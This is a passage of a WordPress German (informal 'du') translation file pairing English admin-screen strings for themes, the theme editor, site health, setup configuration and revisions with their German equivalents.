msgid "You cannot delete a theme while it has an active child theme." msgstr "Du kannst ein Theme nicht löschen, solange ein Child-Theme davon aktiv ist." #: wp-admin/themes.php:276 wp-admin/network/themes.php:389 msgid "Theme deleted." msgstr "Theme gelöscht." #: wp-admin/themes.php:271 msgid "New theme activated." msgstr "Neues Theme aktiviert." #: wp-admin/themes.php:267 wp-admin/themes.php:271 msgid "Visit site" msgstr "Website ansehen" #: wp-admin/themes.php:267 msgid "Settings saved and theme activated." msgstr "Einstellungen gespeichert und Theme aktiviert." #: wp-admin/themes.php:262 msgid "The active theme is broken. Reverting to the default theme." msgstr "Das aktuelle Theme ist fehlerhaft. Das Standard-Theme wurde aktiviert." #: wp-admin/themes.php:253 wp-admin/network/menu.php:81 #: wp-admin/network/themes.php:350 msgctxt "theme" msgid "Add New" msgstr "Theme hinzufügen" #: wp-admin/themes.php:232 msgid "Search installed themes..." msgstr "Installierte Themes durchsuchen ..." #: wp-admin/themes.php:231 wp-admin/network/site-themes.php:215 #: wp-admin/network/themes.php:422 msgid "Search Installed Themes" msgstr "Installierte Themes durchsuchen" #: wp-admin/themes.php:226 msgid "" "Are you sure you want to delete this theme?\n" "\n" "Click 'Cancel' to go back, 'OK' to confirm the delete." msgstr "" "Bist du sicher, dass du dieses Theme löschen willst?\n" "\n" "Klicke ‚Abbrechen‘, um zurückzugehen, ‚OK‘, um das Löschen zu bestätigen." #: wp-admin/themes.php:190 wp-admin/network/themes.php:313 msgid "Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system." msgstr "Automatische Aktualisierungen können für jedes einzelne Theme aktiviert oder deaktiviert werden. Themes mit aktivierten automatischen Aktualisierungen werden das voraussichtliche Datum der nächsten automatischen Aktualisierung anzeigen. Automatische Aktualisierungen hängen vom WP-Cron-Aufgabenplanungssystem ab." #: wp-admin/themes.php:179 msgid "Previewing and Customizing" msgstr "Vorschau und Anpassen" #: wp-admin/themes.php:174 msgid "When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again." msgstr "Bei Vorschau auf kleineren Bildschirmen kannst du das Einklapp-Icon unten in der Menüleiste links verwenden. Dadurch wird die Menüleiste ausgeblendet, was dir mehr Platz zur Vorschau deiner Website mit dem neuen Theme gibt. Um die Menüleiste wieder einzublenden, klicke erneut auf das Einklapp-Icon." #: wp-admin/themes.php:173 msgid "The theme being previewed is fully interactive — navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Activate & Publish button above the menu." msgstr "Das in der Vorschau angezeigte Theme ist vollständig interaktiv – navigiere zu unterschiedlichen Seiten, um dir anzuschauen, wie das Theme mit Beiträgen, Archiven und anderen Seiten-Templates umgeht. Die Einstellungsmöglichkeiten können je nach Theme abweichen, was davon abhängt, welche Funktionen das gezeigte Theme enthält. Um die neuen Einstellungen in einem Schwung zu übernehmen und das Theme zu aktivieren, klicke über dem Menü auf den Button „Aktivieren & Veröffentlichen“." #: wp-admin/themes.php:172 msgid "Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way." msgstr "Klicke auf oder fahre mit der Maus über ein beliebiges Theme und klicke dann auf Live-Vorschau, um das Theme in einer Vorschau sehen und Anpassungen in einer separaten Vollbildanzeige vornehmen zu können. Du findest den Button für eine Live-Vorschau auch am unteren Rand des Bildschirms mit den Theme-Details. Jedes Theme kann auf diese Weise vorher betrachtet und mit dem Customizer angepasst werden." #: wp-admin/themes.php:163 msgid "Adding Themes" msgstr "Themes hinzufügen" #. translators: %s: https://wordpress.org/themes #: wp-admin/themes.php:155 msgid "If you would like to see more themes to choose from, click on the “Add New” button and you will be able to browse or search for additional themes from the <a href=\"%s\">WordPress Theme Directory</a>. Themes in the WordPress Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they’re free!" msgstr "Falls du weitere Themes zur Auswahl sehen möchten, klicke auf den Button „Hinzufügen“ und du kannst dann nach weiteren Themes im <a href=\"%s\">WordPress Theme-Verzeichnis</a> stöbern und suchen. Alle Themes im WordPress-Theme-Verzeichnis wurden von Dritten designt und entwickelt und sind kompatibel, mit der von WordPress genutzten Lizenz (GPL). Ach ja, und sie sind auch noch kostenlos!" #: wp-admin/themes.php:151 msgid "Installing themes on Multisite can only be done from the Network Admin section." msgstr "In einem Netzwerk können neue Themes nur in der Netzwerkverwaltung installiert werden." #: wp-admin/themes.php:137 msgid "The search for installed themes will search for terms in their name, description, author, or tag." msgstr "Bei der Suche nach installierten Themes wird nach Begriffen in deren Namen, Beschreibung, Autor und Schlagwort gesucht." #: wp-admin/themes.php:136 msgid "The current theme is displayed highlighted as the first theme." msgstr "Das aktuelle Theme wird hervorgehoben als erstes Theme angezeigt." #: wp-admin/themes.php:135 msgid "Click Customize for the current theme or Live Preview for any other theme to see a live preview" msgstr "Auf „Customizer“ klicken beim aktuellen Theme oder bei den übrigen Themes auf „Live-Vorschau“, um eine Voransicht zu erhalten." #: wp-admin/themes.php:134 msgid "Click on the theme to see the theme name, version, author, description, tags, and the Delete link" msgstr "Auf das Theme klicken, um Name, Version, Autor, Beschreibung, Schlagwörter und den Link zum Löschen anzuzeigen." #: wp-admin/themes.php:133 msgid "Hover or tap to see Activate and Live Preview buttons" msgstr "Durch Antippen oder bei Mauszeigerkontakt der Buttons „Aktivieren“ oder „Live-Vorschau“ sichtbar machen." #: wp-admin/themes.php:131 msgid "This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties." msgstr "Diese Ansicht wird dazu verwendet, deine installierten Themes zu verwalten. Neben Standard-Themes, die in deiner WordPress-Installation enthalten sind, werden Themes meist von Drittanbietern gestaltet und entwickelt." #: wp-admin/themes.php:126 msgid "Manage Themes" msgstr "Themes verwalten" #: wp-admin/themes.php:106 msgid "Sorry, you are not allowed to disable themes automatic updates." msgstr "Du bist leider nicht berechtigt, automatische Aktualisierungen für Themes zu deaktivieren." #: wp-admin/themes.php:86 msgid "Sorry, you are not allowed to enable themes automatic updates." msgstr "Du bist leider nicht berechtigt, automatische Aktualisierungen für Themes zu aktivieren." #: wp-admin/themes.php:43 msgid "Sorry, you are not allowed to resume this theme." msgstr "Du bist leider nicht berechtigt, das Theme wiederherzustellen." #: wp-admin/theme-install.php:455 msgid "This theme has not been rated yet." msgstr "Dieses Theme hat noch keine Bewertung." #: wp-admin/theme-install.php:408 msgid "Next theme" msgstr "Nächstes Theme" #: wp-admin/theme-install.php:407 msgid "Previous theme" msgstr "Vorheriges Theme" #. translators: %s: Theme name. #: wp-admin/theme-install.php:393 msgctxt "theme" msgid "Cannot Install %s" msgstr "%s kann nicht installiert werden" #. translators: %s: Theme name. #: wp-admin/theme-install.php:371 wp-admin/themes.php:549 #: wp-admin/themes.php:895 wp-admin/themes.php:1110 msgctxt "theme" msgid "Cannot Activate %s" msgstr "%s kann nicht aktiviert werden" #: wp-admin/theme-install.php:356 wp-admin/theme-install.php:418 msgctxt "theme" msgid "Activated" msgstr "Aktiviert" #. translators: %s: Theme name. #: wp-admin/theme-install.php:350 wp-admin/theme-install.php:413 #: wp-admin/themes.php:540 wp-admin/themes.php:888 wp-admin/themes.php:1101 #: wp-admin/js/updates.js:1393 msgctxt "theme" msgid "Activate %s" msgstr "%s aktivieren" #: wp-admin/theme-install.php:334 msgctxt "theme" msgid "Details & Preview" msgstr "Details & Vorschau" #: wp-admin/theme-install.php:241 wp-admin/network/themes.php:332 msgid "Themes list" msgstr "Themesliste" #: wp-admin/theme-install.php:237 msgid "Edit Filters" msgstr "Filter bearbeiten" #: wp-admin/theme-install.php:235 msgid "Filtering by:" msgstr "Filterung nach:" #: wp-admin/theme-install.php:209 wp-admin/theme-install.php:232 msgid "Clear current filters" msgstr "Aktuelle Filter entfernen" #: wp-admin/theme-install.php:208 wp-admin/theme-install.php:231 msgid "Apply Filters" msgstr "Filter anwenden" #: wp-admin/theme-install.php:196 msgid "If you have marked themes as favorites on WordPress.org, you can browse them here." msgstr "Wenn du Themes auf WordPress.org als Favoriten markiert hast, kannst du sie hier durchstöbern." #: wp-admin/theme-install.php:179 msgctxt "themes" msgid "Favorites" msgstr "Favoriten" #: wp-admin/theme-install.php:177 msgctxt "themes" msgid "Popular" msgstr "Populär" #: wp-admin/theme-install.php:168 wp-admin/network/themes.php:330 msgid "Filter themes list" msgstr "Themesliste filtern" #: wp-admin/theme-install.php:161 msgid "The Theme Installer screen requires JavaScript." msgstr "Die „Themes installieren“-Ansicht erfordert JavaScript." #: wp-admin/theme-install.php:131 msgid "<a href=\"https://wordpress.org/support/article/using-themes/#adding-new-themes\">Documentation on Adding New Themes</a>" msgstr "<a href=\"https://wordpress.org/support/article/using-themes/#adding-new-themes\">Dokumentation über das Hinzufügen neuer Themes (engl.) </a>" #: wp-admin/theme-install.php:124 msgid "Previewing and Installing" msgstr "Vorschau und Installation" #: wp-admin/theme-install.php:119 msgid "To install the theme so you can preview it with your site’s content and customize its theme options, click the \"Install\" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the \"Activate\" link, or by navigating to your Manage Themes screen and clicking the \"Live Preview\" link under any installed theme’s thumbnail image." msgstr "Um das Theme zu installieren, sodass du es mit dem Inhalt deiner Website in der Vorschau anschauen und die Theme-Optionen anpassen kannst, klicke bitte auf den Button „Installieren“ oben im linken Fensterbereich. Die Theme-Dateien werden dadurch automatisch auf deine Website heruntergeladen. Wenn dies abgeschlossen ist, steht das Theme zur Aktivierung bereit. Das machst du, indem du auf den Link „Aktivieren“ klickst oder indem du zum Bildschirm in dem die „Themes“ verwaltet werden, navigierst und auf den Link „Live-Vorschau“ unten, auf einem der Miniaturansichtsbilder eines installierten Themes klickst." #: wp-admin/theme-install.php:118 msgid "Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you’re interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look." msgstr "Sobald du eine Liste von Themes generiert hast, kannst du diese in der Vorschau ansehen und eins davon installieren. Klicke auf das Vorschaubild des Themes, das dich interessiert, um die Vorschau anzuzeigen. Es öffnet sich ein Popup mit der Vorschau, um dir einen besseren Eindruck zu geben, wie deine Website mit dem Theme aussehen könnte." #. translators: %s: /wp-content/themes #: wp-admin/theme-install.php:105 msgid "You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme’s folder via FTP into your %s directory." msgstr "Hast du bereits ein Theme in einer ZIP-Datei (stelle sicher, dass es von einer vertrauenswürdigen Quelle stammt), kannst du es direkt über diese Oberfläche durch einen Klick auf „Theme hochladen“ hochladen und verwenden. Du kannst es aber auch auf deinem Computer entpacken und den gesamten Theme-Ordner via FTP in das Verzeichnis %s kopieren." #: wp-admin/theme-install.php:102 msgid "Alternately, you can browse the themes that are Featured, Popular, or Latest. When you find a theme you like, you can preview it or install it." msgstr "Alternativ kannst du nach empfohlenen, populären oder neuesten Themes suchen. Wenn du ein Theme findest, das dir gefällt, kannst du dir eine Vorschau ansehen oder es direkt installieren." #: wp-admin/theme-install.php:101 msgid "You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter." msgstr "Bei der Suche nach Themes kannst du Stichwörter, Autoren oder Schlagwörter verwenden oder mit den Kriterien, die im Eigenschaften-Filter aufgeführt werden, noch gezielter suchen." #. translators: %s: Theme Directory URL. #: wp-admin/theme-install.php:98 msgid "You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href=\"%s\">WordPress Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses." msgstr "Hier kannst du zusätzliche Themes für deine Website finden, indem du den Theme-Browser dieser Ansicht nutzt. Es werden hier die Themes aus dem <a href=\"%s\">WordPress-Theme-Verzeichnis</a> angezeigt, zum Durchstöbern und Installieren. Alle Themes wurden von Dritten designt und entwickelt, sind kostenlos und kompatibel mit der von WordPress genutzten Lizenz (GPL)." #. translators: Accessibility text. #: wp-admin/theme-install.php:72 msgid "Select one or more Theme features to filter by" msgstr "Wähle ein oder mehrere Funktionen nach denen die Themes gefiltert werden" #: wp-admin/theme-install.php:70 msgid "Expand Sidebar" msgstr "Seitenleiste einblenden" #. translators: %d: Number of themes. #: wp-admin/theme-install.php:67 wp-admin/themes.php:234 msgid "Number of Themes found: %d" msgstr "Anzahl der gefundenen Themes: %d" #: wp-admin/theme-install.php:58 wp-admin/theme-install.php:152 #: wp-admin/theme-install.php:154 wp-admin/update.php:298 msgid "Upload Theme" msgstr "Theme hochladen" #: wp-admin/theme-install.php:57 msgid "Search themes..." msgstr "Themes durchsuchen ..." #: wp-admin/theme-install.php:56 msgid "Search Themes" msgstr "Themes suchen" #: wp-admin/theme-install.php:55 wp-admin/themes.php:230 msgid "Add New Theme" msgstr "Neues Theme hinzufügen" #: wp-admin/theme-install.php:24 msgid "Add Themes" msgstr "Themes hinzufügen" #: wp-admin/theme-editor.php:373 msgid "If you decide to go ahead with direct edits anyway, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong." msgstr "Solltest du dich dennoch dazu entscheiden, direkt zu editieren, empfehlen wir dir mittels Dateimanager eine Kopie mit neuem Namen zu erstellen und das Original zu behalten. So hast du die Möglichkeit, eine funktionierende Version wiederherzustellen, falls etwas schief geht." #. translators: %s: Link to documentation on child themes. #: wp-admin/theme-editor.php:367 msgid "If you need to tweak more than your theme’s CSS, you might want to try <a href=\"%s\">making a child theme</a>." msgstr "Wenn du mehr als das CSS deines Themes optimieren musst, solltest du vielleicht <a href=\"%s\">ein Child-Theme erstellen (engl.)</a>." #: wp-admin/theme-editor.php:359 msgid "You appear to be making direct edits to your theme in the WordPress dashboard. We recommend that you don’t! Editing your theme directly could break your site and your changes may be lost in future updates." msgstr "Du scheinst im WordPress-Dashboard direkte Änderungen an deinem Theme vorzunehmen. Wir empfehlen, das nicht zu tun! Wenn du dein Theme direkt bearbeitest, kann dies zu Fehlern auf deiner Website führen, außerdem können deine Änderungen bei zukünftigen Updates verloren gehen." #: wp-admin/theme-editor.php:307 msgid "This is a file in your current parent theme." msgstr "Dies ist eine Datei des aktuell verwendeten übergeordneten Eltern-Themes." #. translators: %s: Link to edit parent theme. #: wp-admin/theme-editor.php:258 msgid "This child theme inherits templates from a parent theme, %s." msgstr "Dieses Child-Theme greift auf Dateien des übergeordneten Eltern-Themes %s zurück." #: wp-admin/theme-editor.php:251 msgid "Theme Files" msgstr "Theme-Dateien" #: wp-admin/theme-editor.php:246 msgid "This theme is broken." msgstr "Dieses Theme ist fehlerhaft." #: wp-admin/theme-editor.php:225 msgid "Select theme to edit:" msgstr "Zu bearbeitendes Theme wählen:" #. translators: %s: Link to Custom CSS section in the Customizer. #: wp-admin/theme-editor.php:205 msgid "There’s no need to change your CSS here — you can edit and live preview CSS changes in the <a href=\"%s\">built-in CSS editor</a>." msgstr "Es gibt keine Notwendigkeit, dein CSS hier zu ändern. Du kannst CSS-Änderungen mit dem <a href=\"%s\">eingebauten CSS-Editor</a> vornehmen und dir diese direkt als Vorschau anzeigen lassen." #: wp-admin/theme-editor.php:200 msgid "Did you know?" msgstr "Hast du das gewusst?" #: wp-admin/theme-editor.php:54 msgid "<a href=\"https://developer.wordpress.org/themes/basics/template-tags/\">Documentation on Template Tags</a>" msgstr "<a href=\"https://developer.wordpress.org/themes/basics/template-tags/\">Dokumentation über Template-Tags (engl.)</a>" #: wp-admin/theme-editor.php:53 msgid "<a href=\"https://wordpress.org/support/article/editing-files/\">Documentation on Editing Files</a>" msgstr "<a href=\"https://wordpress.org/support/article/editing-files/\">Dokumentation über das Bearbeiten von Dateien (engl.)</a>" #: wp-admin/theme-editor.php:52 wp-admin/themes.php:206 msgid "<a href=\"https://wordpress.org/support/article/using-themes/\">Documentation on Using Themes</a>" msgstr "<a href=\"https://wordpress.org/support/article/using-themes/\">Dokumentation über die Verwendung von Themes (engl.)</a>" #: wp-admin/theme-editor.php:51 msgid "<a href=\"https://developer.wordpress.org/themes/\">Documentation on Theme Development</a>" msgstr "<a href=\"https://developer.wordpress.org/themes/\">Dokumentation über die Entwicklung eines Themes (engl.)</a>" #. translators: %s: Link to documentation on child themes. #: wp-admin/theme-editor.php:42 msgid "Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a <a href=\"%s\">child theme</a> instead." msgstr "Bei einer Aktualisierung auf eine neuere Version dieses Themes, werden hier vorgenommene Änderungen überschrieben. Um das zu vermeiden, solltest du stattdessen die Erstellung eines <a href=\"%s\">Child-Themes</a> in Erwägung ziehen." #: wp-admin/theme-editor.php:39 msgid "<strong>Advice:</strong> Think very carefully about your site crashing if you are live-editing the theme currently in use." msgstr "<strong>Hinweis:</strong> Sei vorsichtig, wenn du ein Theme bearbeitest, welches gerade benutzt wird. " #: wp-admin/theme-editor.php:38 msgid "After typing in your edits, click Update File." msgstr "Vergiss nicht, zum Schluss auf „Datei aktualisieren“ zu klicken." #: wp-admin/theme-editor.php:31 msgid "For PHP files, you can use the Documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function." msgstr "Für PHP-Dateien kannst du über die Auswahlliste „Dokumentation“ Hilfe zu den Funktionen erhalten, die in der Datei verwendet werden. Ein Klick auf „Nachschlagen“ verweist zu einer Seite, die weitere Informationen zur ausgewählten PHP-Funktion anzeigt." #: wp-admin/theme-editor.php:30 msgid "Begin by choosing a theme to edit from the dropdown menu and clicking the Select button. A list then appears of the theme’s template files. Clicking once on any file name causes the file to appear in the large Editor box." msgstr "Wähle zuerst in der Auswahlbox das zu bearbeitende Theme und klicke dann auf „Auswählen“. Anschließend werden auf der rechten Seite alle zum Theme zugehörigen Dateien angezeigt, die du nach einem Klick auf den jeweiligen Dateinamen in der großen Editor-Ansicht bearbeiten kannst." #: wp-admin/theme-editor.php:29 msgid "You can use the theme editor to edit the individual CSS and PHP files which make up your theme." msgstr "Benutze den Theme-Editor, um Änderungen in den individuellen CSS- und PHP-Dateien vorzunehmen, die das Design ausmachen." #: wp-admin/theme-editor.php:21 msgid "Edit Themes" msgstr "Themes bearbeiten" #. translators: %s: Number of items with no issues. #: wp-admin/site-health.php:168 wp-admin/js/site-health.js:161 msgid "%s item with no issues detected" msgid_plural "%s items with no issues detected" msgstr[0] "%s Element, bei dem keine Probleme erkannt wurden" msgstr[1] "%s Elemente, bei denen keine Probleme erkannt wurde" #: wp-admin/site-health.php:159 msgid "Passed tests" msgstr "Bestandene Tests" #. translators: %s: Number of recommended improvements. #: wp-admin/site-health.php:149 wp-admin/js/site-health.js:156 msgid "%s recommended improvement" msgid_plural "%s recommended improvements" msgstr[0] "%s empfohlene Verbesserung" msgstr[1] "%s empfohlene Verbesserungen" #. translators: %s: Number of critical issues found. #: wp-admin/site-health.php:138 wp-admin/js/site-health.js:151 msgid "%s critical issue" msgid_plural "%s critical issues" msgstr[0] "%s kritisches Problem" msgstr[1] "%s kritische Probleme" #: wp-admin/site-health.php:132 msgid "The site health check shows critical information about your WordPress configuration and items that require your attention." msgstr "Der Test zum Website-Zustand zeigt wichtige Informationen zu deiner WordPress-Konfiguration und zu Elementen, die deine Aufmerksamkeit erfordern." #: wp-admin/site-health.php:123 msgid "Everything is running smoothly here." msgstr "Hier läuft alles reibungslos." #: wp-admin/site-health.php:119 msgid "Great job!" msgstr "Hervorragende Arbeit!" #: wp-admin/site-health.php:71 msgid "Site URLs could not be switched to HTTPS." msgstr "Die Website-URLs konnten nicht auf HTTPS umgestellt werden." #: wp-admin/site-health.php:67 msgid "Site URLs switched to HTTPS." msgstr "Die Website-URLs wurden auf HTTPS umgestellt." #: wp-admin/site-health.php:40 msgid "It looks like HTTPS is not supported for your website at this point." msgstr "Es sieht so aus, als ob HTTPS für deine Website zu diesem Zeitpunkt nicht unterstützt wird." #: wp-admin/site-health.php:36 msgid "Sorry, you are not allowed to update this site to HTTPS." msgstr "Du bist leider nicht berechtigt, diese Website auf HTTPS zu aktualisieren." #: wp-admin/site-health.php:22 msgid "Sorry, you are not allowed to access site health information." msgstr "Du bist leider nicht berechtigt, auf die Informationen über den Zustand deiner Website zuzugreifen." #: wp-admin/site-health-info.php:100 msgid "Copy site info to clipboard" msgstr "Bericht in die Zwischenablage kopieren " #: wp-admin/site-health-info.php:94 msgid "If you want to export a handy list of all the information on this page, you can use the button below to copy it to the clipboard. You can then paste it in a text file and save it to your device, or paste it in an email exchange with a support engineer or theme/plugin developer for example." msgstr "Wenn du eine praktische Liste aller Informationen von dieser Seite exportieren möchtest, kannst du sie über den Button unten in die Zwischenablage kopieren. Du kannst diese Liste dann in eine Textdatei einfügen und auf deinem Device speichern, oder sie in einen E-Mail-Austausch mit einem Support-Techniker oder Theme-/Plugin-Entwickler einfügen." #. translators: %s: URL to Site Health Status page. #: wp-admin/site-health-info.php:90 msgid "This page can show you every detail about the configuration of your WordPress website. For any improvements that could be made, see the <a href=\"%s\">Site Health Status</a> page." msgstr "Diese Seite kann dir jedes Detail über die Konfiguration deiner WordPress-Website anzeigen. Für alle Verbesserungen, die vorgenommen werden können, sieh dir bitte den Bereich <a href=\"%s\">Status</a> auf der Seite Website-Zustand an." #: wp-admin/site-health-info.php:71 wp-admin/site-health.php:109 msgid "The Site Health check requires JavaScript." msgstr "Um den Zustand deiner Website überprüfen zu können, muss JavaScript aktiviert sein." #. translators: Tab heading for Site Health Info page. #: wp-admin/site-health-info.php:62 wp-admin/site-health.php:100 msgctxt "Site Health" msgid "Info" msgstr "Bericht" #. translators: Tab heading for Site Health Status page. #: wp-admin/site-health-info.php:55 wp-admin/site-health.php:93 msgctxt "Site Health" msgid "Status" msgstr "Status" #: wp-admin/site-health-info.php:15 msgid "Sorry, you are not allowed to access the debug data." msgstr "Du bist leider nicht berechtigt, auf Debug-Daten zuzugreifen." #: wp-admin/site-health-info.php:12 wp-admin/site-health-info.php:84 msgid "Site Health Info" msgstr "Bericht zum Website-Zustand" #: wp-admin/setup-config.php:449 msgid "All right, sparky! You’ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to…" msgstr "Alles klar! Diesen Teil der Installation hast du geschafft. WordPress kann jetzt mit deiner Datenbank kommunizieren. Wenn du bereit bist, kannst du jetzt die …" #: wp-admin/setup-config.php:448 msgid "Successful database connection" msgstr "Erfolgreiche Datenbank-Verbindung" #: wp-admin/setup-config.php:418 wp-admin/setup-config.php:451 msgid "Run the installation" msgstr "Installation durchführen" #: wp-admin/setup-config.php:417 msgid "After you’ve done that, click “Run the installation”." msgstr "Nachdem du das erledigt hast, klicke auf „Installation durchführen“." #. translators: %s: wp-config.php #: wp-admin/setup-config.php:407 msgid "You can create the %s file manually and paste the following text into it." msgstr "Du kannst die Datei %s manuell erstellen und den nachfolgenden Text dort einfügen." #. translators: %s: wp-config.php #: wp-admin/setup-config.php:401 msgid "Unable to write to %s file." msgstr "Kann nicht in die Datei %s schreiben." #: wp-admin/setup-config.php:321 msgid "<strong>Error</strong>: \"Table Prefix\" is invalid." msgstr "<strong>Fehler</strong>: „Tabellenpräfix“ ist ungültig." #: wp-admin/setup-config.php:288 msgid "<strong>Error</strong>: \"Table Prefix\" can only contain numbers, letters, and underscores." msgstr "<strong>Fehler:</strong>: „Tabellenpräfix“ darf nur aus Zahlen, Buchstaben und Unterstrichen bestehen." #: wp-admin/setup-config.php:283 msgid "<strong>Error</strong>: \"Table Prefix\" must not be empty." msgstr "<strong>Fehler</strong>: „Tabellenpräfix“ darf nicht leer sein." #: wp-admin/setup-config.php:244 msgid "If you want to run multiple WordPress installations in a single database, change this." msgstr "Falls du mehrere WordPress-Installationen innerhalb einer Datenbank aufbauen möchtest, ändere diesen Eintrag." #: wp-admin/setup-config.php:242 msgid "Table Prefix" msgstr "Tabellen-Präfix" #. translators: %s: localhost #: wp-admin/setup-config.php:237 msgid "You should be able to get this info from your web host, if %s doesn’t work." msgstr "Sollte %s nicht funktionieren, erfrage bitte den korrekten Wert beim Support deines Webhostings." #: wp-admin/setup-config.php:232 msgid "Database Host" msgstr "Datenbank-Host" #: wp-admin/setup-config.php:229 msgid "Your database password." msgstr "Dein Datenbank-Passwort." #: wp-admin/setup-config.php:228 msgctxt "example password" msgid "password" msgstr "Passwort" #: wp-admin/setup-config.php:224 msgid "Your database username." msgstr "Dein Datenbank-Benutzername." #: wp-admin/setup-config.php:223 msgctxt "example username" msgid "username" msgstr "Benutzername" #: wp-admin/setup-config.php:219 msgid "The name of the database you want to use with WordPress." msgstr "Der Name der Datenbank, die du für WordPress verwenden möchtest." #: wp-admin/setup-config.php:217 msgid "Database Name" msgstr "Datenbank-Name" #: wp-admin/setup-config.php:214 msgid "Below you should enter your database connection details. If you’re not sure about these, contact your host." msgstr "Hier sollten die Zugangsdaten zu deiner Datenbank eingetragen werden. Im Zweifel frage bitte beim Support deines Webhostings nach." #: wp-admin/setup-config.php:212 msgid "Set up your database connection" msgstr "Richte deine Datenbank-Verbindung ein" #: wp-admin/setup-config.php:200 msgid "Let’s go!" msgstr "Los geht's!" #: wp-admin/setup-config.php:198 msgid "In all likelihood, these items were supplied to you by your Web Host. If you don’t have this information, then you will need to contact them before you can continue. If you’re all ready…" msgstr "Wahrscheinlich kannst du diese Informationen in deinem Webhosting-Konto finden. Wenn du sie nicht parat hast, kontaktiere die Firma, bei der deine Website gehostet wird, bevor du weitermachst." #. translators: %s: Documentation URL. #: wp-admin/setup-config.php:193 msgid "Need more help? <a href=\"%s\">We got it</a>." msgstr "Du benötigst mehr Hilfe? Dann bitte <a href=\"%s\">hier entlang</a>." #. translators: 1: wp-config-sample.php, 2: wp-config.php #: wp-admin/setup-config.php:184 msgid "If for any reason this automatic file creation doesn’t work, don’t worry. All this does is fill in the database information to a configuration file. You may also simply open %1$s in a text editor, fill in your information, and save it as %2$s." msgstr "Sollte die automatische Erstellung dieser Datei aus irgendeinem Grund nicht funktionieren, keine Sorge. Es werden lediglich Datenbank-Informationen in einer Konfigurationsdatei gespeichert. Alternativ öffnest du die Datei %1$s einfach in einem Texteditor, ergänzt die notwendigen Informationen und speicherst die Datei als %2$s." #. translators: %s: wp-config.php #: wp-admin/setup-config.php:176 msgid "We’re going to use this information to create a %s file." msgstr "Diese Informationen werden für die Erstellung der Datei %s genutzt." #: wp-admin/setup-config.php:170 msgid "Table prefix (if you want to run more than one WordPress in a single database)" msgstr "Tabellen-Präfix (falls du mehrere WordPress-Installationen innerhalb einer Datenbank aufbauen möchtest)" #: wp-admin/setup-config.php:168 msgid "Database password" msgstr "Datenbank-Passwort" #: wp-admin/setup-config.php:164 msgid "Welcome to WordPress. Before getting started, we need some information on the database. You will need to know the following items before proceeding." msgstr "Willkommen bei WordPress. Bevor wir anfangen, brauchen wir einige Informationen zur Datenbank. Folgende Daten werden benötigt:" #: wp-admin/setup-config.php:163 msgid "Before getting started" msgstr "Bevor du loslegst" #: wp-admin/setup-config.php:114 msgid "WordPress › Setup Configuration File" msgstr "WordPress › Setup-Konfigurationsdatei" #. translators: 1: wp-config.php, 2: install.php #: wp-admin/setup-config.php:76 msgid "The file %1$s already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href=\"%2$s\">installing now</a>." msgstr "Die Datei %1$s existiert bereits in einem Ordner oberhalb der WordPress-Installation. Falls du die Konfiguration erneut vornehmen musst, dann lösche bitte erst die Datei und starte eine <a href=\"%2$s\">erneute Installation</a>." #. translators: 1: wp-config.php, 2: install.php #: wp-admin/setup-config.php:63 msgid "The file %1$s already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href=\"%2$s\">installing now</a>." msgstr "Die Datei %1$s existiert bereits. Falls du die Konfiguration erneut vornehmen musst, dann lösche bitte erst diese Datei und versuche eine <a href=\"%2$s\">neue Installation</a>." #. translators: %s: wp-config-sample.php #: wp-admin/setup-config.php:52 msgid "Sorry, I need a %s file to work from. Please re-upload this file to your WordPress installation." msgstr "Die Datei %s ist erforderlich. Bitte lade diese erneut zu deiner WordPress-Installation hoch." #: wp-admin/revision.php:156 msgid "<a href=\"https://wordpress.org/support/article/revisions/\">Revisions Management</a>" msgstr "<a href=\"https://wordpress.org/support/article/revisions/\">Revisionsmanagement (engl.)</a>" #: wp-admin/revision.php:145 msgid "To restore a revision, <strong>click Restore This Revision</strong>." msgstr "Um eine Revision wiederherzustellen, klicke auf <strong>Diese Revision wiederherstellen</strong>." #: wp-admin/revision.php:144 msgid "Compare two different revisions by <strong>selecting the “Compare any two revisions” box</strong> to the side." msgstr "Vergleiche zwei verschiedene Überarbeitungen, indem du <strong>„Zwei beliebige Revisionen vergleichen“</strong> in der Box auf der Seite auswählst." #: wp-admin/revision.php:143 msgid "To navigate between revisions, <strong>drag the slider handle left or right</strong> or <strong>use the Previous or Next buttons</strong>." msgstr "Um zwischen den Revisionen zu navigieren, <strong>verschiebe den Slider nach links oder rechts</strong> oder <strong>verwende den Weiter- bzw. Zurück-Button</strong>." #: wp-admin/revision.php:142 msgid "From this screen you can review, compare, and restore revisions:" msgstr "In dieser Ansicht kannst du Revisionen ansehen, vergleichen und wiederherstellen:" #: wp-admin/revision.php:141 msgid "Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added." msgstr "Revisionen sind gespeicherte Kopien deines Beitrags oder deiner Seite, die periodisch erstellt werden, wenn du deine Inhalte aktualisierst. Der rote Text auf der linken Seite zeigt entfernte Inhalte. Der grüne Text auf der rechten Seite zeigt 